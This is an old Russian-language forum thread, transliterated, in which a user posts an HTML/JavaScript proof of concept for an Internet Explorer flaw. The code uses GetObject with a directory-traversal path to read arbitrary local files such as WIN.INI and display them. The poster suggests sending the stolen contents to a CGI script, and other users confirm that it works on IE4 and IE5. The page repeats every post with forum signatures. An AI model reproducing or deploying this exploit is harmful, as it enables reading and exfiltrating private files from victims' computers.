IE Can Read any file

VX · Feb 13, 2002, 04:17

Neznau kakya u vas budet reakciya. no ya "kipyatkom pisal"
<blockquote><font size="1" face="MS Sans Serif, Verdana, Helvetica, sans-serif">code:</font><hr><pre>
<HTML>
<HEAD>
<META NAME="GENERATOR" Content="Thor Larholm">
<TITLE>GetObject local file reading</TITLE>
</HEAD>
<BODY onl oad= &quote; KickIt()&quote;>

<P>Here you go, your
C:\<input type=text style="border:1px solid;width:300px" value="WINNT\WIN.INI" onc hange=&quoteKickIt()&quote id=whichFile tabindex=1> file
<input type=button oncl ick ="KickIt()" style="border:1px solid black" value="Read file">
</P>

<xmp id=Stuff tabindex=-1>

</xmp>

<script>
function KickIt(){
var S = "http://"+location.host+"/../../../../../../../../../../../../../../../../"
S += whichFile.value.replace(/\\/g,"/")
A=GetObject(S,"htmlfile")
setTimeout("PutFile()",200)
}
function PutFile(){
var sContent = A.body.innerText
Stuff.innerText = sContent.length>0 ? sContent : "File not found"
whichFile.focus()
}

</script>

</BODY>
</HTML>
</pre><hr></blockquote>

Da dumau cto eto vse delo mojno otpravlyat' svoei cgi programme <img src="smooch-1.gif" border="0">
Jdu vashix predlojenii

greka · Feb 14, 2002, 18:30

etot kod ne rabotaet - parsing errory i t.p.

ty sam proboval ego zapuskat'?

VX · Feb 14, 2002, 19:47

Mr, kajetsa ya vam doljen koe cto obyasnit'

Kak moderator etoy chasti foruma ya OBYAZAN
posliatsa soobsheniya kotorie sototvestvuut istine.
NO, koda ya pisal etot code v ubb on postoyanno ne razrishal mne post delat', ssilayas (u can't use onload tag..), vot pochemy v handlerax javaScripta mne prishlos' postavit' probeli.tak cto vas bNOPIYA bil tut naprasnim.

uDACHI

greka · Feb 15, 2002, 15:02

spasibo za pojasnenie, Sir,
ja poprobuju pokopat'sja v kode - interesno. <img src="smooch-1.gif" border="0">

z0mbie · Feb 17, 2002, 00:45

(!)
eto na vsex versiyax rabotaet ? [proveryal na IE4,rabotaet]

VX · Feb 17, 2002, 04:57

Na 5.0 toje

Feb 13, 2002, 04:17	#1
VX Консервативный Демагог Join Date: Jan 2002 Location: Кавказская Албания Posts: 889 Rep Power: 7 Reputation: 10	IE Can Read any file Neznau kakya u vas budet reakciya. no ya "kipyatkom pisal" <blockquote><font size="1" face="MS Sans Serif, Verdana, Helvetica, sans-serif">code:</font><hr><pre> <HTML> <HEAD> <META NAME="GENERATOR" Content="Thor Larholm"> <TITLE>GetObject local file reading</TITLE> </HEAD> <BODY onl oad= &quote; KickIt()&quote;> <P>Here you go, your C:\<input type=text style="border:1px solid;width:300px" value="WINNT\WIN.INI" onc hange=&quoteKickIt()&quote id=whichFile tabindex=1> file <input type=button oncl ick ="KickIt()" style="border:1px solid black" value="Read file"> </P> <xmp id=Stuff tabindex=-1> </xmp> <script> function KickIt(){ var S = "http://"+location.host+"/../../../../../../../../../../../../../../../../" S += whichFile.value.replace(/\\/g,"/") A=GetObject(S,"htmlfile") setTimeout("PutFile()",200) } function PutFile(){ var sContent = A.body.innerText Stuff.innerText = sContent.length>0 ? sContent : "File not found" whichFile.focus() } </script> </BODY> </HTML> </pre><hr></blockquote> Da dumau cto eto vse delo mojno otpravlyat' svoei cgi programme <img src="smooch-1.gif" border="0"> Jdu vashix predlojenii __________________ Праздник к нам приходит... \|^^^^^^^^^'''^\\| \|\|\__ \| ВОДКА-ВОДКА \| \|\|','''\|'''''''\_____,_ \| _..... _ \| \|\|_ _\|'__\|_____\|\|.........\| \| '(@)'(@)'(@)''''''''''''''''''''''\|(@)""""\|(@)

Feb 14, 2002, 18:30	#2
greka Administrator Join Date: Sep 2001 Location: @work Posts: 5,347 Rep Power: 10 Reputation: 23	etot kod ne rabotaet - parsing errory i t.p. ty sam proboval ego zapuskat'? __________________ И повешенные могут качаться в неположенную сторону. /С.Е.Лец/

Feb 14, 2002, 19:47	#3
VX Консервативный Демагог Join Date: Jan 2002 Location: Кавказская Албания Posts: 889 Rep Power: 7 Reputation: 10	Mr, kajetsa ya vam doljen koe cto obyasnit' Kak moderator etoy chasti foruma ya OBYAZAN posliatsa soobsheniya kotorie sototvestvuut istine. NO, koda ya pisal etot code v ubb on postoyanno ne razrishal mne post delat', ssilayas (u can't use onload tag..), vot pochemy v handlerax javaScripta mne prishlos' postavit' probeli.tak cto vas bNOPIYA bil tut naprasnim. uDACHI __________________ Праздник к нам приходит... \|^^^^^^^^^'''^\\| \|\|\__ \| ВОДКА-ВОДКА \| \|\|','''\|'''''''\_____,_ \| _..... _ \| \|\|_ _\|'__\|_____\|\|.........\| \| '(@)'(@)'(@)''''''''''''''''''''''\|(@)""""\|(@)

Feb 15, 2002, 15:02	#4
greka Administrator Join Date: Sep 2001 Location: @work Posts: 5,347 Rep Power: 10 Reputation: 23	spasibo za pojasnenie, Sir, ja poprobuju pokopat'sja v kode - interesno. <img src="smooch-1.gif" border="0"> __________________ И повешенные могут качаться в неположенную сторону. /С.Е.Лец/

Feb 17, 2002, 00:45	#5
z0mbie » Join Date: Jan 2002 Posts: 776 Rep Power: 7 Reputation: 10	(!) eto na vsex versiyax rabotaet ? [proveryal na IE4,rabotaet] __________________ •·•· ·•·· ·· •·•· •·•

Feb 17, 2002, 04:57	#6
VX Консервативный Демагог Join Date: Jan 2002 Location: Кавказская Албания Posts: 889 Rep Power: 7 Reputation: 10	Na 5.0 toje __________________ Праздник к нам приходит... \|^^^^^^^^^'''^\\| \|\|\__ \| ВОДКА-ВОДКА \| \|\|','''\|'''''''\_____,_ \| _..... _ \| \|\|_ _\|'__\|_____\|\|.........\| \| '(@)'(@)'(@)''''''''''''''''''''''\|(@)""""\|(@)

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode